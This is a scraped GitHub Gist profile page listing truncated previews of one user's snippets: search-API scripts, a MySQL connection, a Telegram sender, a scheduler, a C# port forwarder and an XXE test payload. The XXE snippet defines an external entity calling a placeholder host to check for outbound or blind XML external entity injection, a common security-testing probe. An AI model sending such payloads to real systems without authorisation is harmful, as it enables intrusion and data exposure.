Skip to content

Instantly share code, notes, and snippets.

View bongbongco's full-sized avatar

LeeSeungyong bongbongco

View GitHub Profile
from py_bing_search import PyBingWebSearch
search_term = "Python Software Foundation"
bing_web = PyBingWebSearch('Your-Api-Key-Here', search_term, web_only=False) # web_only is optional, but should be true to use your web only quota instead of your all purpose quota
first_fifty_result= bing_web.search(limit=50, format='json') #1-50
second_fifty_result= bing_web.search(limit=50, format='json') #51-100
print (second_fifty_result[0].description)
u'Python Software Foundation Home Page. The mission of the Python Software Foundation is to promote, protect, and advance the Python programming language, and to ...'
'''
import sys
import re
def ExtractDomain(fullUrl):
domainRegex = re.compile("(http[s]?|ftp):\/\/([a-z0-9-]+\.)+[a-z0-9]{2,4}")
extractDomain = domainRegex.search(fullUrl)
print extractDomain.group()
return extractDomain.group()
def favicon(domain):
/*
techcontents
title
site
url
platform
siteRating
pageRating
state
import pymysql
# MySQL Connection 연결
conn = pymysql.connect(host='localhost', user='tester', password='',
db='testdb', charset='utf8')
# Connection 으로부터 Cursor 생성
curs = conn.cursor()
# SQL문 실행
#-*- coding: utf-8 -*-
import urllib
import urllib2
from utils.config import ConfigParser
def send_msg(chat_id, text, reply_to=None, no_preview=True, keyboard=None):
u"""send_msg: 메시지 발송
chat_id: (integer) 메시지를 보낼 채팅 ID
text: (string) 메시지 내용
reply_to: (integer) ~메시지에 대한 답장
--------------------------------------------------------------
Vanilla, used to verify outbound xxe or blind xxe
--------------------------------------------------------------
<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY sp SYSTEM "http://x.x.x.x:443/test.txt">
]>
<r>&sp;</r>
# Get the first 20 hits for: "Breaking Code" WordPress blog
from google import search
for url in search('"Breaking Code" WordPress blog', stop=20):
print(url)
# Get the first 20 hits for "Mariposa botnet" in Google Spain
for url in search('Mariposa botnet', tld='es', lang='es', stop=20):
print(url)
@bongbongco
bongbongco / scheduler.py
Created October 7, 2016 03:31
파이썬 스케줄러 만들기
from apscheduler.jobstores.base import JobLookupError
from apscheduler.schedulers.background import BackgroundScheduler
import time
class Scheduler(object):
# 클래스 생성시 스케쥴러 데몬을 생성합니다.
def __init__(self):
self.sched = BackgroundScheduler()
self.sched.start()
@bongbongco
bongbongco / Main.class
Created August 25, 2016 02:49
C# Port Forwarding
static void Main(string[] args)
{
new TcpForwarderSlim().Start(
new IPEndPoint(IPAddress.Parse(args[0]), int.Parse(args[1])),
new IPEndPoint(IPAddress.Parse(args[2]), int.Parse(args[3])));
}
@bongbongco
bongbongco / Socket.class
Created August 25, 2016 02:48
C# Port Forwarding
using System;
using System.Net;
using System.Net.Sockets;
namespace BrunoGarcia.Net
{
public class TcpForwarderSlim
{
private readonly Socket _mainSocket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);